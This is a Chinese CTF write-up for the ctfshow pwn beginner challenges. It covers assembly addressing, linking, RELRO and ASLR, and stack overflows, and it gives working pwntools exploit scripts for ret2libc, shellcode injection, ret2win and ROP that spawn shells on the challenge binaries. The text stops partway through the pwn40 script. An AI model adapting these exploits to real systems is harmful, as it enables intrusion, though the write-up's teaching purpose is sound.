ctfshow pwn record

pwn入门

Test_your_nc

pwn0~pwn4

考察点:nc基操、ida基操、代码审计

pwn0-3:太简单,略 pwn4: 丢到ida,F5反编译main函数

file

意思就是获取输入与CTFshowPWN做比较,相等则执行execve_func函数,否则退出,看名字就像是执行系统命令的函数,双击进去看看:

file

那意思就是nc连接后,先输入CTFshowPWN,后面就可以直接输入系统命令了

file

前置基础

pwn5-pwn12:

考察点:汇编基础(常见寻址方式)

pwn5-12的题目全是关于汇编的基础知识,它们的汇编代码也都一样的 pwn5:直接运行给的32位elf文件 pwn6:

file

给的asm汇编文件中:

1
2
3
4
; 立即寻址方式
mov eax, 11 ; 将11赋值给eax
add eax, 114504 ; eax加上114504
sub eax, 1 ; eax减去1

其实就相当于高级语言的:

1
2
3
eax = 11;
eax += 114504;
eax -= 1;

最终结果就是114514,即ctfshow{114514} pwn7:

file

1
2
3
; 寄存器寻址方式
mov ebx, 0x36d ; 将0x36d赋值给ebx
mov edx, ebx ; 将ebx的值赋值给edx

ctfshow{0x36D} //注意大写 pwn8:

1
2
3
; 寄存器寻址方式
mov ebx, 0x36d ; 将0x36d赋值给ebx
mov edx, ebx ; 将ebx的值赋值给edx

ctfshow{0x36D} //注意大写 pwn8:

file

1
2
; 直接寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx

但是问题在于msg的地址我们不知道, 结合给的汇编代码可以知道msg就是程序执行弹出的消息的内容:

1
2
section .data
msg db "Welcome_to_CTFshow_PWN", 0

丢到ida里看看:

file

所以这里的地址就是0x80490E8 (数数,57刚好在第8,注意从0开始数) pwn9:

file

1
2
3
; 寄存器间接寻址方式
mov esi, msg ; 将msg的地址赋值给esi
mov eax, [esi] ; 将esi所指向的地址的值赋值给eax

那就丢到ida里找esi指向的地址的值: 定位到上面汇编语句的位置,双击进入到这个地址中:

file

可以发现其中存储的值就是636C6557,后面的h是十六进制后缀,所以flag就是ctfshow{0x636C6557} pwn10:

file

1
2
3
4
; 寄存器相对寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
add ecx, 4 ; 将ecx加上4
mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax

这里注意是把原来msg的地址加4,即0x80490E8 + 0x4 ,即0x80490EC,和上面同理定位到该地址:

file

这段字符串即flag pwn11:

file

1
2
3
4
; 基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 2 ; 将2赋值给edx
mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax

计算ecx+edx_2 ,0x80490E8+0x2_2 = 0x80490EC,发现就是pwn10的flag pwn12:

file

1
2
3
4
5
; 相对基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 1 ; 将1赋值给edx
add ecx, 8 ; 将ecx加上8
mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax

计算,0x80490E8+0x8+0x2-0x6,为0x80490EC,还是pwn10的flag

pwn13~pwn16

考察点:编译链接基操

pwn13: 用gcc编译运行flag.c即出flag:

file

pwn14:

file

阅读所给的源码:

file

关键就是看if,如果当前目录中没有key这个文件,或者文件内容为空,则输出啥也没有,那么思路很明确了, 自己写个key文件,复制题目提示给的key:CTFshow,至于为什么匹配上这个key就能输出flag从源码中无法看出。

file

试着把key文件的内容改成错误的key值:

file

发现和前面不一样了,那很显然这个程序的逻辑就是把key文件的值用二进制表示出来进行输出罢了,说明题目设定的flag必须匹配上所给的key才会输出相对应唯一的二进制值,即flag pwn15:

file

1
2
3
#.asm是汇编语言的源代码文件,windows上以.asm为主
nasm -f elf64 flag.asm # 将flag.asm编译成64为.o文件
ld -s -o flag flag.o # 将flag.o链接成flag可执行文件

和前面的不一样,汇编代码采取上面的方式编译链接

file

pwn16:

file

.s是汇编语言的源代码文件,linux上以.s为主

file

注意这里多次运行程序后,flag都是不一样的,但是有一部分是保持不变的,所以这部分才是真正的flag

pwn17

考察点:c代码审计、简单获取交互shell

file

老规矩,丢到ida里分析看看先: 观察反编译代码,还是和之前一样用switch执行选择逻辑, 定位到case 3,因为只有这里是最直观的和获取flag命令有关的,但是问题就在于这里卡着一个sleep()函数,出题人丧心病狂吗,是要让人睡整整一天半再回来看flag吗哈哈哈哈:

file

毕竟这里0x1BF52换算成十进制是114514秒,整整31小时!!(这里的u是Unsigned无符号型) 另找出路,发现这里就只有case 2更有利用价值了:

file

先获取我们的输入,但是输入被限制只能0xA字节(即9字节加1个\0结束符,这里的uLL是数据类型unsigned long long),然后给buf,再追加到dest字符串末尾,然后再调用系统执行函数。 其中: (1)strcat() 是 C 语言中的一个字符串操作函数,用于将一个字符串追加到另一个字符串的末尾; (2)read() 是一个系统调用函数,用于从文件描述符中读取数据:

1
read(int fd, void *buf, size_t count);

fd:表示文件描述符,指定要从哪个文件或设备读取数据。 buf:表示一个指向存储读取数据的缓冲区的指针。 count:表示要读取的最大字节数。 当 read() 函数中的文件描述符 fd 的值为 0 时,表示从标准输入读取数据,标准输入是程序默认从用户输入读取数据的地方。需要注意的是,标准输入通常是行缓冲的,意味着当用户输入一行数据并按下回车键时,输入的数据才会被传递给程序。因此,如果用户没有按下回车键,read() 函数可能会一直阻塞等待用户输入。

所以思路很简单了,我们只要能获取一个交互shell就可以执行不止一条系统命令,刚好/bin/bash和/bin/sh都满足长度需要,任选一个,如下:

file

pwn18

考察点:c代码审计

file

先看看给的文件:

file

64位的,丢到64位ida看看反编译后的源码:

file

分别进入fake()和real()看看是啥东东:

file

file

发现两个函数差不多,只是fake()是把干扰的flag追加到原真正flag后面,而real()则把干扰的flag覆盖了原真正flag。 整体程序逻辑就是获取输入,看看输入值是不是等于9,等于就执行fake(),否则执行real(),所以这里要注意的是开了靶机后,如果第一次不是输入9,输入其他的,那么真正的flag已经被覆盖了,无论nc多少次都拿不到真正的flag,如下:

file

而第一次输入flag才行:

file

所以这题看上去属于pwn题,实际不过就是c语言的代码审计

pwn19

考察点:

file

老规矩:

file

丢ida64反编译,顺便直接丢到chatGPT自动生成些注释,方便我们更好地理解代码逻辑(懒人福音!!嘿嘿)

file

对比pwn18的代码,会发现这里确实没有任何与输出流有关的函数(输出用户的输入),如echo,仅仅只是system()帮我们执行一下命令,但是看不到输出,然而这里又和ping和dns都没任何关系,所以web那套dnslog带外也行不通, 然而,我们通过接下来的小实验就可以举一反三解出这道题: 我们在类unix系统中,写两个这样的python程序: program1.sh:

1
2
#!/usr/bin/env python3
print("Hello, world!")

program2.sh:

1
2
3
4
5
#!/usr/bin/env python3
import sys

data = sys.stdin.read() //读取标准输入中的所有内容,并将其作为一个字符串返回
print("接收到数据: " + data)

然后执行命令:

file

我们会发现程序1的输出通过管道符被程序2接收,作为程序2的标准输入流,最终输出程序1、2的内容,这实际上就是重定向的原理, 那我们是不是也可以试着用重定向来利用这道pwn题呢? 也就是说虽然我们输入了系统命令,无法获取到它的输出,但我们可以将执行命令后的输出重定向到标准输入中,即我们的命令小黑窗中

这里先要引入一个叫文件描述符的东西: 在Unix-like系统中,每个打开的文件都会被分配一个唯一的文件描述符。其中,0表示标准输入(stdin),1表示标准输出(stdout),2表示标准错误输出(stderr)。 然后我们可以用这样的重定向符号:>&0 重定向操作符: “>” 用于将输出重定向到文件,而 “&“用于指定一个文件描述符 知道了原理,就可以开干了: 先直接输出个系统命令:

file

发现IO错误,没有我们想要的输出 试着重定向: 注意由于给我们的不是可交互式的shell,所以每次都得断开nc再重连

file

说明利用成功了,发现我们目前位置在根目录下 ok,获取flag:

file

pwn20~pwn22

考察点:got和plt基础、保护机制基础(RELRO)

file

这里提到了got和plt,关于这个,可以参考Nu1L战队从0到1书中P339,已经解释得很通俗易懂了,以及下面的参考文章 (当然,既然都遇到了got和plt,建议不妨去把《程序员的自我修养》第4章静态链接和第7章动态链接知识也补了,如果可以再加上第2章编译和链接,这样对程序的编译链接有个比较清晰的基本认识,咱们不能为了做题而做题,题目只是巩固知识的一种手段而已,笔者比较提倡做题过程中遇到哪些不懂的,就去获取各种相关的资料,遇到新题再慢慢补充新知识,同时做好属于自己的思维导图,慢慢形成自己的知识体系,而不是说咱学个pwn,先把什么书从头到尾啃完再做题,那样说实话效率不高而且看了忘,深有体会,还是别踩这个坑了) https://blog.csdn.net/linyt/article/details/51635768 https://linyt.blog.csdn.net/article/details/51636753 https://linyt.blog.csdn.net/article/details/51637832 题目问.got表和.got.plt是否可写?看到这两个熟悉的名字就能想到《程序员的自我修养》里在讲动态链接的时候有介绍过。 运行程序提示中出现RELRO:

file

这是一个保护机制,主要和got与plt有关,从《ctf竞赛权威指南pwn》中找到了相关的介绍:

file

所以根据介绍可以得出: 当RELRO为Partial RELRO时,表示.got不可写而.got.plt可写; 当RELRO为FullRELRO时,表示.got不可写.got.plt也不可写; 当RELRO为No RELRO时,表示.got与.got.plt都可写。 首先看程序是否有保护机制一般都先用checksec来扫一下:

file 无RELRO保护,说明都是可写的,那flag前部分就是

1
ctfshow{1_1_

然后.got和.got.plt的地址是包含在节头表信息中的,可以用readelf来查看:

file

往下翻,找到了:

file

把这两个地址再拼接到flag作为后部分就好了。

1
0x600f18_0x600f28}

pwn21和pwn22解法同上。

pwn23

考察点:简单栈溢出

常规checksec检查,丢到ida反编译: main():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t v3; // eax
int v5; // [esp-Ch] [ebp-2Ch]
int v6; // [esp-8h] [ebp-28h]
int v7; // [esp-4h] [ebp-24h]
FILE *stream; // [esp+4h] [ebp-1Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(flag, 64, stream);
signal(11, (__sighandler_t)sigsegv_handler);
v3 = getegid();
setresgid(v3, v3, v3, v5, v6, v7, v3);
puts(asc_8048940);
puts(asc_80489B4);
puts(asc_8048A30);
puts(asc_8048ABC);
puts(asc_8048B4C);
puts(asc_8048BD0);
puts(asc_8048C64);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : No canary found ");
puts(" * ************************************* ");
puts("How to input ?");
if ( argc > 1 )
ctfshow((char *)argv[1]);
return 0;
}

ctfshow():

1
2
3
4
5
6
char *__cdecl ctfshow(char *src)
{
char dest[58]; // [esp+Ah] [ebp-3Eh] BYREF

return strcpy(dest, src);
}

strcpy危险函数,老演员了,这里代码审计也好分析,先本地读取/ctfshow_flag文件,如果我们执行程序并且带有1个以上命令参数,则参数传给ctfshow,参数被复制给dest,由于该参数 可控,故存在栈溢出,执行程序时参数附带好多个a,就行了:

file

pwn24

考察点:shellcraft模块生成简单shellcode

该程序比往常多了个RWX选项,是内存可读可写可执行:

file

由于ida中无法将ctfshow函数反编译,因为它有可能是在libc中,暂不考虑分析。 结合题目提示,说明可以用shellcraft模块生成shellcode来利用。

shellcraft模块是pwntools库中的一个子模块,用于生成各种不同体系结构的 Shellcode。 Shellcode 是一段以二进制形式编写的代码,用于利用软件漏洞、执行特定操作或获取系统权限。 shellcraft模块提供了一系列函数和方法,用于生成特定体系结构下的 Shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding: utf-8 -*-
from pwn import *
#context(arch='amd64',os='linux')
context(log_level='debug',arch='i386',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
#pwnfile= '' # 要pwn的程序及其路径
#io = process(pwnfile) # 为程序创建一个io进程对象
io = remote('pwn.challenge.ctf.show',28261) # 打远程则开启这个并注释掉前一个

shellcode = asm(shellcraft.i386.linux.sh()) #这里一定要注意用asm包裹
# pwndbg附加调试
#gdb.attach(io)
#pause()

io.sendline(shellcode) # 发送shellcode
io.interactive() # 获得一个交互式shell

此处asm()函数用于将shellcraft生成的shellcode汇编指令转换为字节码(即机器码),且注意shellcode是没有通用的,依赖于特定处理器、操作系统等, 因此学会自己编写shellcode很重要。

file

pwn25

考察点:ret2libc

保护只开了NX,说明此时shellcode难利用了,丢到ida,

main():

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0, 1, 0);
setvbuf(stdout, 0, 2, 0);
ctfshow(&argc);
logo();
write(0, "Hello CTFshow!\n", 0xEu);
return 0;
}

ctfshow():

1
2
3
4
5
6
ssize_t ctfshow()
{
char buf[132]; // [esp+0h] [ebp-88h] BYREF

return read(0, buf, 0x100u);
}

缓冲区buf长度132,而read限制长度0x100即256,显然此时read函数存在栈溢出。再跟进write(),发现返回的 还是write,但是无法继续反编译,说明可能来自libc中的write。

此时比较常规的思路就是泄露libc中的某个函数内存加载地址,从而计算出libc基地址,进而确定libc中的其他函数与参数等。 我们可以先用rabin2看看该程序的.plt表和.got.plt表中,调用外部即libc的函数有哪些:

file

这里只要是输出函数都可以用,因为我们要输出泄露的地址,比如选puts 首先肯定要先确认溢出偏移padding,经尝试这里用cyclic不太行得通,还可尝试从静态分析中看看栈结构:

file

然后就可以编写两次payload,第一次计算泄露,第二次进行利用,poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='i386',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn25' # 要pwn的程序及其路径
io = process(pwnfile) # 为程序创建一个io进程对象
#io = remote('pwn.challenge.ctf.show',28284) # 打远程则开启这个并注释掉前一个
#io = remote('127.0.0.1',8888)
elf = ELF('./pwn25')

padding = 0x88 + 0x4
# main函数地址
main_addr = elf.symbols['main']
# plt表中puts函数地址
puts_plt = elf.plt['puts']
# got表中puts函数的地址
puts_got = elf.got['puts']

# 这里的目的是泄漏出libc的puts函数加载地址,这里用main和ctfshow都可以
payload1 = padding * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)

io.sendline(payload1)
leak_puts = u32(io.recv()[0:4]) # 将接收到的字符串取4个字节,并解析为无符号32位整数
print(hex(leak_puts)) # 输出泄漏地址,用hex转换成了十六进制

# 通过泄漏的puts地址,利用LibcSearcher来找到相应的libc版本
libc = LibcSearcher("puts",leak_puts)
# 计算libc加载基地址与libc中的其他函数、参数加载地址
libc_base = leak_puts - libc.dump("puts")
print(hex(libc_base))
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

# 接下来就可以调用system了
payload2 = padding * b'a' + p32(system_addr) + b'a' * 4 + p32(binsh_addr)
# pwndbg附加调试
#gdb.attach(io)
#pause()

io.sendline(payload2)
io.interactive() # 获得一个交互式shell

这里如果用write函数来泄露,则除了其他地方,注意payload1也要进行变化:

1
payload1 = padding * b'a' + p32(write_plt) + p32(main_addr) + p32(0) + p32(write_got) + p32(4)

而puts来泄露则是:

1
payload1 = padding * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)

很好理解,首先覆盖掉buf后,由于write/puts都是调用自libc,由动态链接的延迟绑定我们知道,所有来自调用外部的函数会在.plt中有对应的表项,第一次是找不到外部函数真正的地址,当使用该函数时,.plt会先去.got.plt中寻找对应的函数表项,从而通过动态链接器再解析寻找到该外部函数真正的引用地址,第二次之后就不用这么麻烦,就会直接跳到该地址。

PS:更详细的分析可以参考本wp的pwn45

pwn26-pwn28

考察点:ASLR保护基础

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ASLR (Address Space Layout Randomization) 是一种操作系统级别的安全保护机制,旨在增加
软件系统的安全性。它通过随机化程序在内存中的布局,使得攻击者难以准确地确定关键代码和数据的
位置,从而增加了利用软件漏洞进行攻击的难度

开启不同等级会有不同的效果
1.内存布局随机化: ASLR的主要目标是随机化程序的内存布局。在传统的内存布局中,不同的
库和模块通常会在固定的内存位置上加载,攻击者可以利用这种可预测性来定位和利用漏洞.
ASLR通过随机化这些模块的加载地址,使得攻击者无法准确地确定内存中的关键数据结构和
代码的位置。
2.地址空间范围的随机化: ASLR还会随机化进程的地址空间范围。在传统的地址空间中,栈
堆、代码段和数据段通常会被分配到固定的地址范围中。ASLR会随机选择地址空间的起始位
置和大小,从而使得这些重要的内存区域在每次运行时都有不同的位置。
3.随机偏移量: ASLR会引入随机偏移量,将程序和模块在内存中的相对位置随机化。这意味着
每个模块的实际地址是相对于一个随机基址偏移的,而不是绝对地址。攻击者需要在运行时发
现这些偏移量,才能准确地定位和利用漏洞。
4.堆和栈随机化: ASLR也会对堆和栈进行随机化。堆随机化会在每次分配内存时选择不同的起
始地址,使得攻击者无法准确地预测堆上对象的位置。栈随机化会随机选择栈顿的起始位置
使得攻击者无法轻易地覆盖返回地址或控制程序流程

在Linux中,ALSR的全局配置/proc/sys/kernel/randomize va space有三种情况
0表示关闭ALSR
1表示部分开启(将mmap的基址、stack和vdso页面随机化)
2表示完全开启

file

结合提示,执行如下命令即可getflag

1
2
3
4
5
echo 0 > /proc/sys/kernel/randomize_va_space

flag: ctfshow{0x400687_0x400560_0x603260_0x7ffff7fd64f0} # pwn26
flag: ctfshow{0x400687_0x400560_0x603260} # pwn27
flag: ctfshow{0x400687_0x400560} # pwn28

pwn29

考察点:ASLR和PIE保护基础

ASLR和PIE开启后,地址都会将随机化,这里值得注意的是,由于粒度问题,虽然地址都被随机化了, 但是被随机化的都仅仅是某个对象的起始地址,而在其内部还是原来的结构,也就是相对偏移是不会变化的。

1
ctfshow{Address_Space_Layout_Randomization&&Position-Independent_Executable_1s_C0000000000l!}

pwn30

考察点:

栈溢出

pwn35

描述:

1
2
3
正式开始栈溢出了,先来一个最最最最简单的吧
用户名为 ctfshow 密码 为 123456 请使用 ssh软件连接
ssh ctfshow@题目地址 -p题目端口号

考察点:传长字符串触发段错误类溢出、signal函数

查看保护和程序运行情况: 2024-09-22-23-11-17 丢到ida查看main函数: 2024-09-22-23-18-04 分析:首先定义文件流指针Stream来读取ctfshow_flag文件并判断是否存在内容,然后fgets从文件中读取最多64个字符到flag数组,接着判断程序是否有接收参数,有则将第一个参数的指针传递给ctfshow函数,并将其内容输出。 查看ctfshow函数: 2024-09-23-10-30-43 显然,这里就出现了栈溢出风险函数strcpy,首先声明大小104的dest数组,然后将用户输入的字符串复制到dest中,并最终返回dest数组的地址。这里的风险就在于并没有对用户输入长度做限制,能够>104,导致栈溢出利用风险,因此此处我们可控。 另外,在main函数中我们还忽略了一个关键部分: signal(11, (__sighandler_t)sigsegv_handler); 这个作用是设置一个自定义的信号处理函数,用于处理特定的信号。信号 11 代表 SIGSEGV(Segmentation Fault),通常表示程序试图访问未被允许的内存区域。这通常是由于程序中的错误(如数组越界、访问空指针等)导致的,这行代码将 sigsegv_handler 函数注册为处理 SIGSEGV 信号的处理器。当程序发生段错误时,操作系统会调用sigsegv_handler函数,而不是直接终止程序。 继续查看sigsegv_handler函数: 2024-09-23-10-42-42 发现这里把flag内容输出了,显然到这里思路很明确了,让程序出现段错误异常,从而触发该自定义信号处理器函数即可,所以我们只需要输入超长字符串导致溢出,最终让ctfshow返回的 指针指向的是我们溢出覆盖后产生的无效位置就可以触发。 连接远程ssh,利用: 2024-09-23-11-08-01

pwn36 ~ pwn38

考察点:cyclic计算padding、ret2win类栈溢出-后门函数有定义但不在main中、amd64_elf程序栈对齐问题处理

  • pwn36:

描述:存在后门函数,如何利用? 查看保护和程序运行情况: 2024-09-23-11-12-44 只是获取输入。 ida查看main函数: 2024-09-23-11-16-15 除了有个ctfshow函数外没其他特别的: 2024-09-23-11-18-11 功能简单,就获取输入,并且gets是典型栈溢出风险函数,不检查用户输入长度。到这里没发现任何与flag相关的函数。浏览函数窗口,发现有个get_flag函数,应该就是题目提示的后门函数了: 2024-09-23-11-20-21 后门函数用于读取ctfshow_flag文件。综上,我们只要利用gets实现溢出,溢出位用后门函数地址来覆盖,就可以实现跳转到后门函数从而拿到flag,现在的问题就在于如何找到精确的padding即填充位的个数,从而再拼接后门函数地址,先用gdb动态调试的方式: 2024-09-23-12-22-41 通过cyclic来确定填充位,这里匹配的目标是当前EIP所指向的字符串,因为此时由于溢出造成了段错误,关于cyclic的原理参考wiki 另外可以看一下后门函数在符号表中记录的地址: 2024-09-23-12-25-09 至此,可以直接写exp了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# -*- coding: utf-8 -*-
from pwn import *
context(log_level='debug',arch='i386',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn36' # 要pwn的程序及其路径
io = process(pwnfile) # 为程序创建一个io进程对象
#io = remote('pwn.challenge.ctf.show',28196) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)

padding = 44 # payload中前面要填充的非关键数据个数,即溢出位前所有的输入
backdoor = elf.symbols['get_flag']
print(hex(backdoor))
payload = padding * b'a' + p32(backdoor)
# pwndbg附加调试
#gdb.attach(io)
#pause()

delimiter = 'want:'
io.sendlineafter(delimiter,payload) # 接收到对应最后的字符后才发送我们的payload,比如这里把dem的值设成'ut:\n'都可以
io.interactive() # 打通后获得一个交互式shell

2024-09-23-12-27-38

  • pwn37:

描述:32位的 system(“/bin/sh”) 后门函数给你 查看保护和程序运行情况: 2024-09-23-13-37-49 ida查看main函数: 2024-09-23-13-38-55 没特别的,查看ctfshow函数: 2024-09-23-13-40-36 获取用户输入存放到buf数组,显然这里的0x32u转换成十进制是50,大于buf分配的长度14,因此存在溢出风险。

用cyclic计算出填充位padding的长度是22 2024-09-24-15-46-41

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# -*- coding: utf-8 -*-
from pwn import *
context(log_level='debug',arch='i386',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn37' # 要pwn的程序及其路径
#io = process(pwnfile) # 为程序创建一个io进程对象
io = remote('pwn.challenge.ctf.show',28173) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)

padding = 22 # payload中前面要填充的非关键数据个数,即溢出位前所有的输入
backdoor = elf.symbols['backdoor']
print(hex(backdoor))
payload = padding * b'a' + p32(backdoor)
# pwndbg附加调试
#gdb.attach(io)
#pause()

delimiter = 'ret2text&&32bit'
io.sendlineafter(delimiter,payload) # 接收到对应最后的字符后才发送我们的payload,比如这里把dem的值设成'ut:\n'都可以
io.interactive() # 打通后获得一个交互式shell

2024-09-23-14-20-37 2024-09-23-14-21-01

  • pwn38:

描述:64位的 system(“/bin/sh”) 后门函数给你 查看保护和程序运行情况: 2024-09-24-15-35-38 ida查看各函数与上面对比几乎没差别,就buf的长度变了。 2024-09-24-15-37-07 2024-09-24-15-40-51 cyclic计算padding为18: 2024-09-24-16-07-56 因为与i386程序架构的设计及其处理调用和栈的方式的差异,amd64程序在栈溢出程序发生段错误时,RSP(栈指针)寄存器指向当前的栈顶,也就是当前ret的控制返回地址要从RSP指向的位置来看;而i386发生段错误时,EIP(指令指针)寄存器存储了程序崩溃时的执行地址,因此检查EIP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# -*- coding: utf-8 -*-
from pwn import *
import subprocess

context(log_level='debug',arch='amd64',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn38' # 要pwn的程序及其路径
#io = process(pwnfile) # 为程序创建一个io进程对象
io = remote('pwn.challenge.ctf.show',28153) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)

padding = 18 # payload中前面要填充的非关键数据个数,即溢出位前所有的输入
backdoor = elf.symbols['backdoor']
print("backdoor's addr:" + hex(backdoor))
ret_addr = 0x400287

payload = padding * b'a' + p64(ret_addr) + p64(backdoor)

# pwndbg附加调试
#gdb.attach(io)
#pause()

delimiter = 'ret2text&&64bit'
io.sendlineafter(delimiter,payload) # 接收到对应最后的字符后才发送我们的payload,比如这里把dem的值设成'ut:\n'都可以
io.interactive() # 打通后获得一个交互式shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# -*- coding: utf-8 -*-
from pwn import *
import subprocess

context(log_level='debug', arch='amd64', os='linux') # debug 显示可选但最好开启
pwnfile = './pwn38' # 要 pwn 的程序及其路径
#io = process(pwnfile) # 为程序创建一个 io 进程对象
io = remote('pwn.challenge.ctf.show', 28153) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)

padding = 18 # payload 中前面要填充的非关键数据个数
backdoor = elf.symbols['backdoor']
print("backdoor's addr: " + hex(backdoor))

# 使用 ROPgadget 查找 ROP gadgets
def find_rop_gadgets(pwnfile):
# 运行 ROPgadget 命令并获取输出
result = subprocess.run(['ROPgadget', '--binary', pwnfile],
stdout=subprocess.PIPE, text=True)

# 分析输出
gadgets = result.stdout.splitlines()
return gadgets

# 找到 'ret' gadget
gadgets = find_rop_gadgets(pwnfile)

# 打印所有找到的 gadgets
print("Found gadgets:")
for gadget in gadgets:
print(gadget)

# 存储 'ret' gadget 地址的变量
ret_addr = None

# 打印以 'ret' 结尾的 gadgets
for gadget in gadgets:
# 检查是否以 'ret' 结尾
if 'ret' in gadget:
# 提取地址并转换为整数
ret_addr = int(gadget.split(' ')[0], 16) # 将地址转换为整数
print(f"Found ret gadget at: {hex(ret_addr)}")
break # 找到第一个后退出循环

# 如果没有找到 ret 指令,输出提示
if ret_addr is None:
print("No ret gadget found.")
else:
print(f"Using ret_addr: {hex(ret_addr)}")

# 创建 payload
if ret_addr is not None:
payload = padding * b'a' + p64(ret_addr) + p64(backdoor)

# pwndbg 附加调试
# gdb.attach(io)
# pause()

delimiter = 'ret2text&&64bit'
io.sendlineafter(delimiter, payload) # 接收到对应最后的字符后才发送我们的 payload
io.interactive() # 打通后获得一个交互式 shell
else:
print("Payload cannot be created due to missing ret gadget.")

2024-09-24-23-42-50

2024-09-24-23-44-02

pwn39 ~ pwn40

考察点:ret2win类溢出-i386/amd64函数传参问题(注意别漏掉返回地址)、i386和amd64函数调用约定差异、单传参ROP

补充点:简单ROP脚本动态构造链(含寻找gadgets)的模板编写

  • pwn39:

描述:32位的 system(); "/bin/sh" 查看保护与程序运行情况: 2024-09-25-00-04-53

main函数: 2024-09-26-23-22-19 ctfshow函数: 2024-09-26-23-23-23 hint函数: 2024-09-26-23-25-43 这里的后门函数就叫system,并且同样返回system函数,也就是后门函数底层调用的函数,并且还可能存在/bin/sh参数传递给它从而返回shell,最后发现底层system和/bin/sh都存在libc中。

同理还是先用cyclic,计算出padding为22。然后尝试用gdb寻找libc中的/bin/sh被加载到内存后的地址: 2024-09-29-12-56-50

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding: utf-8 -*-
from pwn import *
import subprocess

context(log_level='debug',arch='i386',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn39' # 要pwn的程序及其路径
io = process(pwnfile) # 为程序创建一个io进程对象
#io = remote('pwn.challenge.ctf.show',28153) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)
libc = ELF(pwnfile)

padding = 22 # payload中前面要填充的非关键数据个数,即溢出位前所有的输入
system = elf.symbols['system']
print("system_addr:" + hex(system))
bin_sh_addr = next(libc.search(b"/bin/sh"))
print("bin_sh_addr:" + hex(bin_sh_addr))

payload = padding * b'a' + p32(system) + p32(0) + p32(bin_sh_addr)

# pwndbg附加调试
#gdb.attach(io)
#pause()

delimiter = 'ret2text&&32bit'
io.sendlineafter(delimiter,payload) # 接收到对应最后的字符后才发送我们的payload,比如这里把dem的值设成'ut:\n'都可以
io.interactive() # 打通后获得一个交互式shell

这里构造的payload尤其要注意p32(0),因为这道题相对上面来说,传参时需要考虑函数调用栈的结构,除了给函数传递“/bin/sh“外,还需要传递函数返回地址,否则正常调用该函数时会出现问题,因此需要加p32(0)将整数0转换为一个四字节地址,当然也可以替换成其他任意地址。 2024-09-29-13-42-19

  • pwn40:

描述:64位的 system(); "/bin/sh" 查看保护与程序运行情况: 2024-09-29-16-59-17 ida反编译出的函数情况与i386时的差不多,不再赘述。 gdb计算出padding为18。

并且对比i386的padding会发现,只不过是比i386的填充位少了4个字节,正好对应上两个架构程序的内存地址对齐字节数的差异。所以实际上两者的padding是一样的,只不过因为需要考虑对齐问题结果就有些不同,如果不考虑栈对齐可能导致内存访问错误,甚至引发其他潜在的安全漏洞。

另外要注意两者传参时函数调用结构的差异,也就是要考虑好调用约定,与i386不同,amd64传参时参数要先由rdi、rsi、rdx、rcx。。的顺序存放,不够用时才考虑存放栈上,所以此时构造payload需要用到ROP的gadgets,即使原结构中的汇编指令缺少这几个寄存器,但我们可以通过ROP来构造。

查看程序有哪些可利用的gadgets,尤其是既包含ret指令,又仅包含上面需要的寄存器的部分(要注意顺序),因为需要用ret作为中间部分才能构成一条完整的ROP链: 可以用ropper搜索:

1
ropper --file pwn40 | grep "ret"

2024-09-29-17-31-32 由于只需要传一个参数,我们只需要一个pop rdi; retret即可,如果说远程目标的gatgets不会变化,和打本地时一样的地址(即静态地址),构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- coding: utf-8 -*-
from pwn import *
import subprocess

context(log_level='debug',arch='amd64',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn40' # 要pwn的程序及其路径
